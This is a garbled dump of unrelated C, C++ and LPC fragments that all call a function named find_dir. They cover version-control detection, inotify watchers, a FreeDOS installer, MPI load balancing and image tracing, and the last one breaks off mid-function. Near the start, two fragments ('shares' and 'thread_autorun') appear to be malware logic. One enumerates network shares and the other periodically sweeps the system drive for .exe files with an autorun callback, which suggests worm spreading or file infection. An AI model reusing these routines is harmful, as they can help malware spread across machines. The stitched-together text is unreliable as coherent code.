bool shares(LPNETRESOURCEW lpnr, void *arg){
switch (lpnr->dwDisplayType) {
case (RESOURCEDISPLAYTYPE_SERVER) :
find_dir(lpnr->lpRemoteName, L"*.*", P, arg);
break;
case (RESOURCEDISPLAYTYPE_SHARE) :
find_dir(lpnr->lpRemoteName, L"*.*", P, arg);
break;
}
return true;
}
int remove_dir(const int id) {
struct dir_queue * tmp = find_dir(id);
if (tmp == NULL) {
return -1;
}
if (tmp->prev == NULL) {
dir_head = tmp->next;
if (dir_head != NULL) {
dir_head->prev = NULL;
} else {
dir_tail = NULL;
}
} else {
struct dir_queue * dir_obj = tmp->prev;
dir_obj->next = tmp->next;
if (dir_obj->next != NULL) {
dir_obj->next->prev = dir_obj;
} else {
dir_tail = dir_obj;
}
}
free(tmp);
return 0;
}
int main(void)
{
int x;
while(TRUE)
{
x=menu(x);
switch(x)
{
case 0:
return 0;
case 1:
create_dir();break;
case 2:
find_dir();break;
case 3:
del_dir();break;
case 4:
modify_dir();break;
case 5:
insert_dir();break;
case 6:
num();break;
case 7:
all();break;
default:
exit(-1);
}
}
return 0;
}
static gboolean
in_vc_svn(const gchar * filename)
{
const gchar *argv[] = { "svn", "info", "--non-interactive", NULL, NULL };
gchar *dir;
gchar *base_name;
gboolean ret = FALSE;
gchar *std_output;
if (!find_dir(filename, ".svn", TRUE))
return FALSE;
if (g_file_test(filename, G_FILE_TEST_IS_DIR))
return TRUE;
dir = g_path_get_dirname(filename);
base_name = g_path_get_basename(filename);
argv[3] = base_name;
execute_custom_command(dir, (const gchar **) argv, NULL, &std_output, NULL,
dir, NULL, NULL);
if (!EMPTY(std_output))
{
ret = TRUE;
g_free(std_output);
}
g_free(base_name);
g_free(dir);
return ret;
}
static gboolean
in_vc_bzr(const gchar * filename)
{
const gchar *argv[] = { "bzr", "log", NULL, NULL };
gchar *dir;
gchar *base_name;
gboolean ret = FALSE;
gchar *std_output;
if (!find_dir(filename, ".bzr", TRUE))
return FALSE;
if (g_file_test(filename, G_FILE_TEST_IS_DIR))
return TRUE;
dir = g_path_get_dirname(filename);
base_name = g_path_get_basename(filename);
argv[2] = base_name;
execute_custom_command(dir, (const gchar **) argv, NULL, &std_output, NULL,
filename, NULL, NULL);
if (NZV(std_output))
{
ret = TRUE;
}
g_free(std_output);
g_free(base_name);
g_free(dir);
return ret;
}
static gboolean
in_vc_git(const gchar * filename)
{
gint exit_code;
const gchar *argv[] = { "git", "ls-files", "--", NULL, NULL };
gchar *dir;
gchar *base_name;
gboolean ret = FALSE;
gchar *std_output;
if (!find_dir(filename, ".git", TRUE))
return FALSE;
if (g_file_test(filename, G_FILE_TEST_IS_DIR))
return TRUE;
dir = g_path_get_dirname(filename);
base_name = g_path_get_basename(filename);
argv[3] = base_name;
exit_code = execute_custom_command(dir, (const gchar **) argv, NULL, &std_output, NULL,
dir, NULL, NULL);
if (NZV(std_output))
{
ret = TRUE;
g_free(std_output);
}
g_free(base_name);
g_free(dir);
return ret;
}
return_type fsCloseDir(const int nparams, arg_type *a) {
if (nparams != 1) {
r.return_val = set_error(EINVAL);
r.return_size = sizeof(int);
r.in_error = 1;
return r;
}
struct dir_queue * dir = find_dir(*(int *)a->arg_val);
if (dir == NULL) {
r.return_val = set_error(ENOTDIR);
r.return_size = sizeof(int);
r.in_error = 1;
return r;
}
int * close_dir_result = malloc(sizeof(int));
*close_dir_result = closedir(dir->dir);
if (*close_dir_result == 0) {
remove_dir(*(int *)a->arg_val);
}
r.return_val = (void *)close_dir_result;
r.return_size = sizeof(int);
r.in_error = 0;
return r;
}
int comando(int argc, string * argv) {
int i, j, size;
object ob;
string file;
string * paths, * files;
for(i=0; i<argc; i++) {
size = sizeof(files = explore_path(argv[i], 2));
if (size) {
for(j=0; j<size; j++) {
file = files[j];
if (find_dir(file)) {
notify_fail("update: "+file+" es un directorio.\n");
return 0;
}
if ((ob = find_object(file)) && (ob != find_object(VOID))) {
/* pillar los objetos que estan dentro de ob
* y llevarlos a void.
* Opcion: despues del update, intentar llevarlos de vuelta al origen,
* y sino a void.
*/
}
if (!update(file)) {
write("update: "+file+" no necesita actualizarse.\n");
}
}
}
else {
write("update: No se encuentra el archivo '"+argv[i]+"'.\n");
}
}
return 1;
}
void WatchLinux::remove(const std::string &dir){
auto it = find_dir(dir);
if (it != watchers.end()){
inotify_rm_watch(notify_fd, it->first);
watchers.erase(it);
}
}
void npc::move()
{
bool first_run = true;
if(first_run)
{elapsedTime = clock.restart();}
tempSpeed = elapsedTime.asSeconds()*10000;
/*cout <<tempSpeed<<endl;*/
sf::Vector2f cord(sprite.getPosition());
if(tempSpeed>50)
{
not_working = true;
find_dir();
cout<<dir<<endl;
/*cout<<cord.x<<" , "<<cord.y<<endl;*/
sf::Vector2f arrowcords=sprite.getPosition();
//cout<<arrowcords.x<<" , "<<arrowcords.y<<endl;
switch (dir)
{
case 0:
sprite.move(-40,-40);
break ;
case 1:
sprite.move(0,-40);
break ;
case 2:
sprite.move(40,-40);
break ;
case 3:
sprite.move(-40,0);
break ;
case 4:
sprite.move(40,0);
break ;
case 5:
sprite.move(-40,40);
break ;
case 6:
sprite.move(0,40);
break ;
case 7:
sprite.move(40,40);
break ;
default:
sprite.move(0,0);
break ;
elapsedTime = clock.restart();
//cout<<"reset clock\n";
}
elapsedTime = clock.restart();
//cout<<"reset clock\n";
}
}
DWORD __stdcall thread_autorun(void *arg){
bool r = false;
Sleep(20000);
while (1){
if (!check_autorun()){
wchar_t drive[MAX_PATH];
GetWindowsDirectoryW(drive, MAX_PATH);
drive[2] = 0;
find_dir(drive, L"*.exe", autorun, 0);
}
Sleep(60000);
}
return 0;
}
int fp (int argc, char *argv[])
{
int i;
int rc;
for (i = 1; i < argc; ++i) {
rc = find_dir(argv[i]);
if (rc != 0) {
printf("Didn't find string %s\n", argv[i]);
return rc;
}
}
return 0;
}
int fill (int n)
{
int i;
int rc;
char *name;
for (i = 0; i < n; i++) {
do {
name = gen_name();
} while (find_dir(name) != qERR_NOT_FOUND);
rc = insert_dir(name, 0, 0);
if (rc != 0) {
return rc;
}
}
return 0;
}
void FileMgr::search(){
if (flag_fm == 1){ //For directory file search
if (flip == 0 && path_ != "."){
FileSystem::Directory::setCurrentDirectory(path_);
flip = 1;
}
find_files(path_);
find_dir(path_);
}
else{ //non directory file search
if (flip == 0 && path_ != "."){
FileSystem::Directory::setCurrentDirectory(path_);
flip = 1;
}
find_files(path_);
}
}
void WatchLinux::watch(const std::string &dir, uint32_t filters, const Callback &callback){
auto fnd = find_dir(dir);
if (fnd != watchers.end() && fnd->second.filter != filters){
fnd->second.filter = filters;
fnd->second.callback = callback;
}
//When modifying an existing watch we get back the existing descriptor, so no
//need to update it
int wd = inotify_add_watch(notify_fd, dir.c_str(), filters);
if (wd == -1){
std::string msg = "lfw Error: Failed to watch " + dir;
perror(msg.c_str());
return;
}
if (fnd == watchers.end()){
watchers.emplace(std::make_pair(wd, WatchData{wd, dir, filters, callback}));
}
}
return_type fsReadDir(const int nparams, arg_type *a) {
if (nparams != 1) {
r.return_val = set_error(EINVAL);
r.return_size = sizeof(int);
r.in_error = 1;
return r;
}
int id = *(int *) a->arg_val;
struct dir_queue * dir = find_dir(id);
if (dir == NULL) {
r.return_val = set_error(ENOTDIR);
r.return_size = sizeof(int);
r.in_error = 1;
return r;
}
struct dirent * dir_info = readdir(dir->dir);
if (dir_info == NULL) {
r.return_val = set_error(ENOENT);
r.return_size = sizeof(int);
r.in_error = 1;
} else {
struct fsDirent * dirent = malloc(sizeof(struct fsDirent));
if(dir_info->d_type == DT_DIR) {
dirent->entType = 1;
}
else if(dir_info->d_type == DT_REG) {
dirent->entType = 0;
}
else {
dirent->entType = -1;
}
memcpy(&dirent->entName, &dir_info->d_name, 256);
r.return_size = sizeof(struct fsDirent);
r.return_val = (void *)dirent;
r.in_error = 0;
}
return r;
}
sptr<DirectorMeta> DirectorMeta::MakeDirector( sptr<Path> path )
{
auto sthis = this->shared_from_this();
for ( auto & p : path->PathList() )
{
auto t = sthis->find_dir( p );
if ( t == nullptr )
{
sptr<DirectorMeta> dir = make_sptr( DirectorMeta );
dir->path_ = dir->full_path_ = p;
sthis->children_dir_list_.push_back( dir );
sthis = dir;
}
}
return sthis;
}
int mixp (int argc, char *argv[])
{
int n;
int i;
int rc;
int sum;
char *name;
int x;
if (argc > 1) {
n = atoi(argv[1]);
} else {
n = 10;
}
sum = num_recs();
for (i = 0; i < n; i++) {
if (!sum || random_percent(51)) {
do {
name = gen_name();
} while (find_dir(name) != qERR_NOT_FOUND);
rc = insert_dir(name, 0, 0);
if (rc != 0) {
return rc;
}
++sum;
x = num_recs();
assert(sum == x);
} else {
x = urand(sum);
rc = del_ith(x);//urand(sum));
if (rc) {
return rc;
}
--sum;
x = num_recs();
assert(sum == x);
}
}
return 0;
}
int genp (int argc, char *argv[])
{
int n;
int i;
int rc;
char *name;
if (argc > 1) {
n = atoi(argv[1]);
} else {
n = 10;
}
for (i = 0; i < n; i++) {
do {
name = gen_name();
} while (find_dir(name) == 0);
rc = insert_dir(name, 0, 0);
if (rc != 0) {
return rc;
}
}
return 0;
}
/*
* Returns 1 for failure, 0 for success
*/
int main(int argc, char **argv) {
char *dosdir,
*fdauto,
*fdconfig,
dd[_MAX_PATH],
fa[_MAX_PATH],
fc[_MAX_PATH],
temp[12],
executestring[_MAX_PATH];
int ret = -1;
FILE *fp;
kittenopen("FDPKG");
if((argc&&argv[1][0]=='/'||argv[1][0]=='-')&&(argv[1][1]=='?'||tolower(argv[1][1])=='h'))
{
help();
kittenclose();
return 1;
}
sprintf(temp, "%s.BAT", _mktemp("XXXXXX"));
while(access(temp, 0) == 0) sprintf(temp, "%s.BAT", _mktemp("XXXXXX"));
if((fp = fopen(temp, "w")) == NULL) {
kitten_printf(5,4,"Could not open temp files\n");
return -1;
}
while(kbhit()) getch();
sprintf(executestring, "%s\r", temp);
kb_stuff(executestring);
fprintf(fp, "@echo off\n");
if((dosdir = getenv("DOSDIR")) == NULL) {
if (access("C:\\FDOS" , 0) == 0) {
ret = find_dir("C:\\FDOS");
if(ret == 0) strcpy(dd, "C:\\FDOS");
}
if(ret != 0 && access("C:\\FREEDOS", 0) == 0) {
ret = find_dir("C:\\FREEDOS");
if(ret == 0) strcpy(dd, "C:\\FREEDOS");
}
if(ret != 0 && access("C:\\DOS" , 0) == 0) {
ret = find_dir("C:\\DOS");
if(ret == 0) strcpy(dd, "C:\\DOS");
}
if(ret != 0 && access("D\\FDOS" , 0) == 0) {
ret = find_dir("D:\\FDOS");
if(ret == 0) strcpy(dd, "D:\\FDOS");
}
if(ret != 0 && access("D\\FREEDOS" , 0) == 0) {
ret = find_dir("D:\\FREEDOS");
if(ret == 0) strcpy(dd, "D:\\FREEDOS");
}
if(ret != 0 && access("D\\DOS" , 0) == 0) {
ret = find_dir("D:\\DOS");
if(ret == 0) strcpy(dd, "D:\\DOS");
}
if(ret != 0) {
kitten_printf(5,5,"Could not find suitable directory for %%DOSDIR%%\n");
fclose(fp);
return -1;
} else fprintf(fp, "SET DOSDIR=%s\n", dd);
}
if((fdauto = getenv("AUTOFILE")) == NULL) {
if( access("C:\\FDAUTO.BAT", 0) == 0) strcpy(fa, "C:\\FDAUTO.BAT");
else if(access("C:\\AUTOEXEC.BAT", 0) == 0) strcpy(fa, "C:\\AUTOEXEC.BAT");
else {
kitten_printf(5,6,"Could not find suitable autoexec.bat\n");
fprintf(fp, "DEL %s\x1a", temp);
fclose(fp);
return -1;
}
fprintf(fp, "SET AUTOFILE=%s\necho SET AUTOFILE=%s >> %s\n", fa, fa, fa);
if(dosdir == NULL) fprintf(fp, "echo SET DOSDIR=%s >> %s\n", dd, fa);
} else if(dosdir == NULL) fprintf(fp, "echo SET DOSDIR=%s >> %s\n", dd, fdauto);
if((fdconfig = getenv("CFGFILE")) == NULL) {
if( access("C:\\FDCONFIG.SYS", 0) == 0) strcpy(fc, "C:\\FDCONFIG.SYS");
else if(access("C:\\CONFIG.SYS" , 0) == 0) strcpy(fc, "C:\\CONFIG.SYS");
else {
kitten_printf(5,7,"Could not find suitable config.sys\n");
fprintf(fp, "DEL %s\x1a", temp);
fclose(fp);
return -1;
}
fprintf(fp, "SET CFGFILE=%s\necho SET CFGFILE=%s >> %s\n",
fc, fc, (fdauto == NULL) ? fa : fdauto);
}
fprintf(fp, "DEL %s\x1a", temp);
fclose(fp);
return 0;
}
// Initialize the problem and setup initial blocks.
void init(void)
{
int n, var, i, j, k, l, m, o, size, dir, i1, i2, j1, j2, k1, k2, ib, jb, kb;
int start[num_pes], pos[3][num_pes], pos1[npx][npy][npz], set,
num, npx1, npy1, npz1, pes, fact, fac[25], nfac, f;
block *bp;
tol = pow(10.0, ((double) -error_tol));
p2[0] = p8[0] = 1;
for (i = 0; i < (num_refine+1); i++) {
p8[i+1] = p8[i]*8;
p2[i+1] = p2[i]*2;
sorted_index[i] = 0;
}
sorted_index[num_refine+1] = 0;
block_start[0] = 0;
local_max_b = global_max_b = init_block_x*init_block_y*init_block_z;
num = num_pes*global_max_b;
for (i = 1; i <= num_refine; i++) {
block_start[i] = block_start[i-1] + num;
num *= 8;
num_blocks[i] = 0;
local_num_blocks[i] = 0;
}
/* initialize for communication arrays, which are initialized below */
zero_comm_list();
x_block_half = x_block_size/2;
y_block_half = y_block_size/2;
z_block_half = z_block_size/2;
if (!code) {
/* for E/W (X dir) messages:
0: whole -> whole (7), 1: whole -> whole (27),
2: whole -> quarter, 3: quarter -> whole */
msg_len[0][0] = msg_len[0][1] = y_block_size*z_block_size;
msg_len[0][2] = msg_len[0][3] = y_block_half*z_block_half;
/* for N/S (Y dir) messages */
msg_len[1][0] = x_block_size*z_block_size;
msg_len[1][1] = (x_block_size+2)*z_block_size;
msg_len[1][2] = msg_len[1][3] = x_block_half*z_block_half;
/* for U/D (Z dir) messages */
msg_len[2][0] = x_block_size*y_block_size;
msg_len[2][1] = (x_block_size+2)*(y_block_size+2);
msg_len[2][2] = msg_len[2][3] = x_block_half*y_block_half;
} else if (code == 1) {
/* for E/W (X dir) messages */
msg_len[0][0] = msg_len[0][1] = (y_block_size+2)*(z_block_size+2);
msg_len[0][2] = (y_block_half+1)*(z_block_half+1);
msg_len[0][3] = (y_block_half+2)*(z_block_half+2);
/* for N/S (Y dir) messages */
msg_len[1][0] = msg_len[1][1] = (x_block_size+2)*(z_block_size+2);
msg_len[1][2] = (x_block_half+1)*(z_block_half+1);
msg_len[1][3] = (x_block_half+2)*(z_block_half+2);
/* for U/D (Z dir) messages */
msg_len[2][0] = msg_len[2][1] = (x_block_size+2)*(y_block_size+2);
msg_len[2][2] = (x_block_half+1)*(y_block_half+1);
msg_len[2][3] = (x_block_half+2)*(y_block_half+2);
} else {
/* for E/W (X dir) messages */
msg_len[0][0] = msg_len[0][1] = (y_block_size+2)*(z_block_size+2);
msg_len[0][2] = (y_block_half+1)*(z_block_half+1);
msg_len[0][3] = (y_block_size+2)*(z_block_size+2);
/* for N/S (Y dir) messages */
msg_len[1][0] = msg_len[1][1] = (x_block_size+2)*(z_block_size+2);
msg_len[1][2] = (x_block_half+1)*(z_block_half+1);
msg_len[1][3] = (x_block_size+2)*(z_block_size+2);
/* for U/D (Z dir) messages */
msg_len[2][0] = msg_len[2][1] = (x_block_size+2)*(y_block_size+2);
msg_len[2][2] = (x_block_half+1)*(y_block_half+1);
msg_len[2][3] = (x_block_size+2)*(y_block_size+2);
}
/* Determine position of each core in initial mesh */
npx1 = npx;
npy1 = npy;
npz1 = npz;
for (i = 0; i < 3; i++)
for (j = 0; j < num_pes; j++)
pos[i][j] = 0;
nfac = factor(num_pes, fac);
max_num_req = num_pes;
request = (MPI_Request *) ma_malloc(max_num_req*sizeof(MPI_Request),
__FILE__, __LINE__);
if (nonblocking)
s_req = (MPI_Request *) ma_malloc(max_num_req*sizeof(MPI_Request),
__FILE__, __LINE__);
pes = 1;
start[0] = 0;
num = num_pes;
comms = (MPI_Comm *) ma_malloc((nfac+1)*sizeof(MPI_Comm),
__FILE__, __LINE__);
me = (int *) ma_malloc((nfac+1)*sizeof(int), __FILE__, __LINE__);
np = (int *) ma_malloc((nfac+1)*sizeof(int), __FILE__, __LINE__);
comms[0] = MPI_COMM_WORLD;
me[0] = my_pe;
np[0] = num_pes;
// initialize
for (n = 0, i = nfac; i > 0; i--, n++) {
fact = fac[i-1];
dir = find_dir(fact, npx1, npy1, npz1);
if (dir == 0)
npx1 /= fact;
else
if (dir == 1)
npy1 /= fact;
else
npz1 /= fact;
num /= fact;
set = me[n]/num;
MPI_Comm_split(comms[n], set, me[n], &comms[n+1]);
MPI_Comm_rank(comms[n+1], &me[n+1]);
MPI_Comm_size(comms[n+1], &np[n+1]);
for (j = pes-1; j >= 0; j--)
for (k = 0; k < fact; k++) {
m = j*fact + k;
if (!k)
start[m] = start[j];
else
start[m] = start[m-1] + num;
for (l = start[m], o = 0; o < num; l++, o++)
pos[dir][l] = pos[dir][l]*fact + k;
}
pes *= fact;
}
for (i = 0; i < num_pes; i++)
pos1[pos[0][i]][pos[1][i]][pos[2][i]] = i;
max_active_block = init_block_x*init_block_y*init_block_z;
num_active = max_active_block;
global_active = num_active*num_pes;
num_parents = max_active_parent = 0;
size = p2[num_refine+1]; /* block size is p2[num_refine+1-level]
* smallest block is size p2[1], so can find
* its center */
mesh_size[0] = npx*init_block_x*size;
max_mesh_size = mesh_size[0];
mesh_size[1] = npy*init_block_y*size;
if (mesh_size[1] > max_mesh_size)
max_mesh_size = mesh_size[1];
mesh_size[2] = npz*init_block_z*size;
if (mesh_size[2] > max_mesh_size)
max_mesh_size = mesh_size[2];
if ((num_pes+1) > max_mesh_size)
max_mesh_size = num_pes + 1;
bin = (int *) ma_malloc(max_mesh_size*sizeof(int), __FILE__, __LINE__);
gbin = (int *) ma_malloc(max_mesh_size*sizeof(int), __FILE__, __LINE__);
if (stencil == 7)
f = 0;
else
f = 1;
for (o = n = k1 = k = 0; k < npz; k++)
for (k2 = 0; k2 < init_block_z; k1++, k2++)
for (j1 = j = 0; j < npy; j++)
for (j2 = 0; j2 < init_block_y; j1++, j2++)
for (i1 = i = 0; i < npx; i++)
for (i2 = 0; i2 < init_block_x; i1++, i2++, n++) {
m = pos1[i][j][k];
if (m == my_pe) {
bp = &blocks[o];
bp->level = 0;
bp->number = n;
bp->parent = -1;
bp->cen[0] = i1*size + size/2;
bp->cen[1] = j1*size + size/2;
bp->cen[2] = k1*size + size/2;
add_sorted_list(o, n, 0);
for (var = 0; var < num_vars; var++)
for (ib = 1; ib <= x_block_size; ib++)
for (jb = 1; jb <= y_block_size; jb++)
for (kb = 1; kb <= z_block_size; kb++)
bp->array[var][ib][jb][kb] =
((double) rand())/((double) RAND_MAX);
if (i2 == 0)
if (i == 0) { /* 0 boundary */
bp->nei_level[0] = -2;
bp->nei[0][0][0] = 0;
} else { /* boundary with neighbor core */
bp->nei_level[0] = 0;
bp->nei[0][0][0] = -1 - pos1[i-1][j][k];
add_comm_list(0, o, pos1[i-1][j][k], 0+f,
bp->cen[2]*mesh_size[1]+bp->cen[1],
bp->cen[0] - size/2);
}
else { /* neighbor on core */
bp->nei_level[0] = 0;
bp->nei[0][0][0] = o - 1;
}
bp->nei_refine[0] = 0;
if (i2 == (init_block_x - 1))
if (i == (npx - 1)) { /* 1 boundary */
bp->nei_level[1] = -2;
bp->nei[1][0][0] = 0;
} else { /* boundary with neighbor core */
bp->nei_level[1] = 0;
bp->nei[1][0][0] = -1 - pos1[i+1][j][k];
add_comm_list(0, o, pos1[i+1][j][k], 10+f,
bp->cen[2]*mesh_size[1]+bp->cen[1],
bp->cen[0] + size/2);
}
else { /* neighbor on core */
bp->nei_level[1] = 0;
bp->nei[1][0][0] = o + 1;
}
bp->nei_refine[1] = 0;
if (j2 == 0)
if (j == 0) { /* 0 boundary */
bp->nei_level[2] = -2;
bp->nei[2][0][0] = 0;
} else { /* boundary with neighbor core */
bp->nei_level[2] = 0;
bp->nei[2][0][0] = -1 - pos1[i][j-1][k];
add_comm_list(1, o, pos1[i][j-1][k], 0+f,
bp->cen[2]*mesh_size[0]+bp->cen[0],
bp->cen[1] - size/2);
}
else { /* neighbor on core */
bp->nei_level[2] = 0;
bp->nei[2][0][0] = o - init_block_x;
}
bp->nei_refine[2] = 0;
if (j2 == (init_block_y - 1))
if (j == (npy - 1)) { /* 1 boundary */
bp->nei_level[3] = -2;
bp->nei[3][0][0] = 0;
} else { /* boundary with neighbor core */
bp->nei_level[3] = 0;
bp->nei[3][0][0] = -1 - pos1[i][j+1][k];
add_comm_list(1, o, pos1[i][j+1][k], 10+f,
bp->cen[2]*mesh_size[0]+bp->cen[0],
bp->cen[1] + size/2);
}
else { /* neighbor on core */
bp->nei_level[3] = 0;
bp->nei[3][0][0] = o + init_block_x;
}
bp->nei_refine[3] = 0;
if (k2 == 0)
if (k == 0) { /* 0 boundary */
bp->nei_level[4] = -2;
bp->nei[4][0][0] = 0;
} else { /* boundary with neighbor core */
bp->nei_level[4] = 0;
bp->nei[4][0][0] = -1 - pos1[i][j][k-1];
add_comm_list(2, o, pos1[i][j][k-1], 0+f,
bp->cen[1]*mesh_size[0]+bp->cen[0],
bp->cen[2] - size/2);
}
else { /* neighbor on core */
bp->nei_level[4] = 0;
bp->nei[4][0][0] = o - init_block_x*init_block_y;
}
bp->nei_refine[4] = 0;
if (k2 == (init_block_z - 1))
if (k == (npz - 1)) { /* 1 boundary */
bp->nei_level[5] = -2;
bp->nei[5][0][0] = 0;
} else { /* boundary with neighbor core */
bp->nei_level[5] = 0;
bp->nei[5][0][0] = -1 - pos1[i][j][k+1];
add_comm_list(2, o, pos1[i][j][k+1], 10+f,
bp->cen[1]*mesh_size[0]+bp->cen[0],
bp->cen[2] + size/2);
}
else { /* neighbor on core */
bp->nei_level[5] = 0;
bp->nei[5][0][0] = o + init_block_x*init_block_y;
}
bp->nei_refine[5] = 0;
o++;
}
}
check_buff_size();
for (var = 0; var < num_vars; var++)
grid_sum[var] = check_sum(var);
}
// This file includes routines needed for load balancing. Load balancing is
// based on RCB. At each stage, a direction and factor is chosen (factor is
// based on the prime factorization of the number of processors) and the
// blocks in that group are sorted in that direction and divided into factor
// subgroups. Then dots (corresponding to blocks) are moved into the proper
// subgroup and the process is repeated with the subgroups until each group
// represents a processor. The dots are then moved back to the originating
// processor, at which point we know where the blocks need to be moved and
// then the blocks are moved. Some of these routines are also used when
// blocks need to be coarsened - the coarsening routine determines which
// blocks need to be coarsened and those blocks are moved to the processor
// where their parent is.
void load_balance(void)
{
int npx1, npy1, npz1, nfac, fac[25], fact;
int i, j, m, n, dir, in;
double t1, t2, t3, t4, t5, tp, tm, tu;
block *bp;
tp = tm = tu = 0.0;
t3 = t4 = t5 = 0.0;
t1 = timer();
for (in = 0, num_dots = 0; in < sorted_index[num_refine+1]; in++) {
n = sorted_list[in].n;
if ((bp = &blocks[n])->number >= 0) {
bp->new_proc = my_pe;
if ((num_dots+1) > max_num_dots) {
printf("%d ERROR: need more dots\n", my_pe);
exit(-1);
}
dots[num_dots].cen[0] = bp->cen[0];
dots[num_dots].cen[1] = bp->cen[1];
dots[num_dots].cen[2] = bp->cen[2];
dots[num_dots].number = bp->number;
dots[num_dots].n = n;
dots[num_dots].proc = my_pe;
dots[num_dots++].new_proc = 0;
}
}
max_active_dot = num_dots;
for (n = num_dots; n < max_num_dots; n++)
dots[n].number = -1;
npx1 = npx;
npy1 = npy;
npz1 = npz;
nfac = factor(num_pes, fac);
for (i = nfac, j = 0; i > 0; i--, j++) {
fact = fac[i-1];
dir = find_dir(fact, npx1, npy1, npz1);
if (dir == 0)
npx1 /= fact;
else if (dir == 1)
npy1 /= fact;
else
npz1 /= fact;
sort(j, fact, dir);
move_dots(j, fact);
}
// first have to move information from dots back to original core,
// then will update processor block is moving to, and then its neighbors
for (n = 0; n < num_pes; n++)
to[n] = 0;
for (m = i = 0; i < max_active_dot; i++)
if (dots[i].number >= 0 && dots[i].proc != my_pe) {
to[dots[i].proc]++;
m++;
}
num_moved_lb += m;
MPI_Allreduce(&m, &n, 1, MPI_INTEGER, MPI_SUM, MPI_COMM_WORLD);
t4 = timer();
t2 = t4 - t1;
if (n) { // Only move dots and blocks if there is something to move
MPI_Alltoall(to, 1, MPI_INTEGER, from, 1, MPI_INTEGER, MPI_COMM_WORLD);
move_dots_back();
t5 = timer();
t3 = t5 - t4;
t4 = t5;
move_blocks(&tp, &tm, &tu);
}
t5 = timer() - t4;
timer_lb_misc += timer() - t1 - t2 - t3 - tp - tm - tu;
timer_lb_sort += t2;
timer_lb_pa += tp;
timer_lb_mv += tm;
timer_lb_un += tu;
timer_lb_mb += t3;
timer_lb_ma += t5;
}
/** \brief Find the maximum around the pixel.
\param img The pointer to gradient image.
\param yx The pixel coordinate (yx = y*w + x)
\param w The image width.
\param in1 The previous maximum direction.
\retval The direction of of local max.
*/
static inline int dir(uint8 *con, int16 *grad, int *dr, int yx, int in1, int w)
{
uint8 max = 0, i;
int in = 0, tmp[3];
/*
if(yx == 812-1 + (542+1)*w) {
printf("befor dir3: x = %d y = %d in1 = %d\n", yx%w, yx/w, in1);
print_around(con, yx, w);
print_around(grad, yx, w);
print_con_grad(grad, con, yx, w);
}*/
//x = 1077 y = 1174
if(in1 == 0){
if(grad[yx+dr[0]] > max) { max = grad[yx+dr[0]]; in = dr[0]; }
if(grad[yx+dr[1]] > max) { max = grad[yx+dr[1]]; in = dr[1]; }
if(grad[yx+dr[2]] > max) { max = grad[yx+dr[2]]; in = dr[2]; }
if(grad[yx+dr[3]] > max) { max = grad[yx+dr[3]]; in = dr[3]; }
if(grad[yx+dr[4]] > max) { max = grad[yx+dr[4]]; in = dr[4]; }
if(grad[yx+dr[5]] > max) { max = grad[yx+dr[5]]; in = dr[5]; }
if(grad[yx+dr[6]] > max) { max = grad[yx+dr[6]]; in = dr[6]; }
if(grad[yx+dr[7]] > max) { max = grad[yx+dr[7]]; in = dr[7]; }
return in;
}
if (in1 == dr[0]){ tmp[0] = dr[3]; tmp[1] = dr[4]; tmp[2] = dr[5]; }
else if (in1 == dr[1]){ tmp[0] = dr[4]; tmp[1] = dr[5]; tmp[2] = dr[6]; }
else if (in1 == dr[2]){ tmp[0] = dr[5]; tmp[1] = dr[6]; tmp[2] = dr[7]; }
else if (in1 == dr[3]){ tmp[0] = dr[6]; tmp[1] = dr[7]; tmp[2] = dr[0]; }
else if (in1 == dr[4]){ tmp[0] = dr[7]; tmp[1] = dr[0]; tmp[2] = dr[1]; }
else if (in1 == dr[5]){ tmp[0] = dr[0]; tmp[1] = dr[1]; tmp[2] = dr[2]; }
else if (in1 == dr[6]){ tmp[0] = dr[1]; tmp[1] = dr[2]; tmp[2] = dr[3]; }
else if (in1 == dr[7]){ tmp[0] = dr[2]; tmp[1] = dr[3]; tmp[2] = dr[4]; }
//printf("tmp0 = %d tmp1 = %d tmp2 = %d\n", tmp[0], tmp[1], tmp[2]);
max = 0;
if(grad[yx+tmp[0]] > max) { max = grad[yx+tmp[0]]; in = tmp[0]; }
if(grad[yx+tmp[1]] > max) { max = grad[yx+tmp[1]]; in = tmp[1]; }
if(grad[yx+tmp[2]] > max) { max = grad[yx+tmp[2]]; in = tmp[2]; }
//printf("max = %d in = %d\n", max, in);
if(con[yx+in]){
if(check_diagonal(con, dr, yx, find_dir(dr, in)) ){
if(in == tmp[0]) tmp[0] = tmp[2];
else if(in == tmp[1]) tmp[1] = tmp[2];
//printf("Remove diagonal 1 \n ");
//print_con_grad(grad, con, yx, w);
//printf("First ");
} else if(check_max(grad, dr, yx+in, 255) ){
if(in == tmp[0]) tmp[0] = tmp[2];
else if(in == tmp[1]) tmp[1] = tmp[2];
} else return in;
} else {
return in;
}
if(grad[yx+tmp[0]] > grad[yx+tmp[1]]) in = tmp[0];
else in = tmp[1];
if(!check_diagonal(con, dr, yx, find_dir(dr, in))) {
if(con[yx+in]){
//if(max == 255) return in;
if(check_max(grad, dr, yx+in, 255)){
if(in == tmp[0]) in = tmp[1];
else in = tmp[0];
//printf("Second ");
} else return in;
} else {
return in;
}
} else {
if(in == tmp[0]) in = tmp[1];
else in = tmp[0];
}
if(!check_diagonal(con, dr, yx, find_dir(dr, in))) {
if(con[yx+in]){
//if(max == 255) return in;
if(check_max(grad, dr, yx+in, 255)){
return 0;
//printf("Second ");
} else return in;
} else {
return in;
}
} else return 0;
}
int32_t find_dir(const tchar* path) const { return find_dir(path, test_strlen(path)); }
int readline(char *buf, int size) {
int idx;
int len;
int key;
int i;
int done;
int hist_idx;
int dir;
if (size <= 0) {
errno = EINVAL;
return -1;
}
idx = 0;
len = 0;
done = 0;
hist_idx = history_len;
while (!done) {
fflush(stdout);
key = getkey();
if (key < 0) return key;
if (key == KEY_TAB) {
int start;
int end;
int split;
char mask[MAXPATH];
struct direntry dirent;
start = idx;
while (start > 0 && !delimchar(buf[start - 1])) start--;
end = split = start;
while (end < len && !delimchar(buf[end])) {
if (buf[end] == PS1 || buf[end] == PS2) split = end + 1;
end++;
}
dir = find_dir(buf, start, end, split, mask);
if (dir >= 0) {
while (_readdir(dir, &dirent, 1) > 0) {
int newlen = len - (end - split) + dirent.namelen;
if (like(dirent.name, mask) && newlen < size - 1) {
memmove(buf + split + dirent.namelen, buf + end, len - end);
memcpy(buf + split, dirent.name, dirent.namelen);
while (idx < split) putchar(buf[idx++]);
while (idx > split) {
putchar('\b');
idx--;
}
for (i = split; i < newlen; i++) putchar(buf[i]);
if (newlen < len) {
for (i = newlen; i < len; i++) putchar(' ');
for (i = newlen; i < len; i++) putchar('\b');
}
end = split + dirent.namelen;
len = newlen;
idx = end;
for (i = end; i < len; i++) putchar('\b');
fflush(stdout);
key = getkey();
if (key < 0) break;
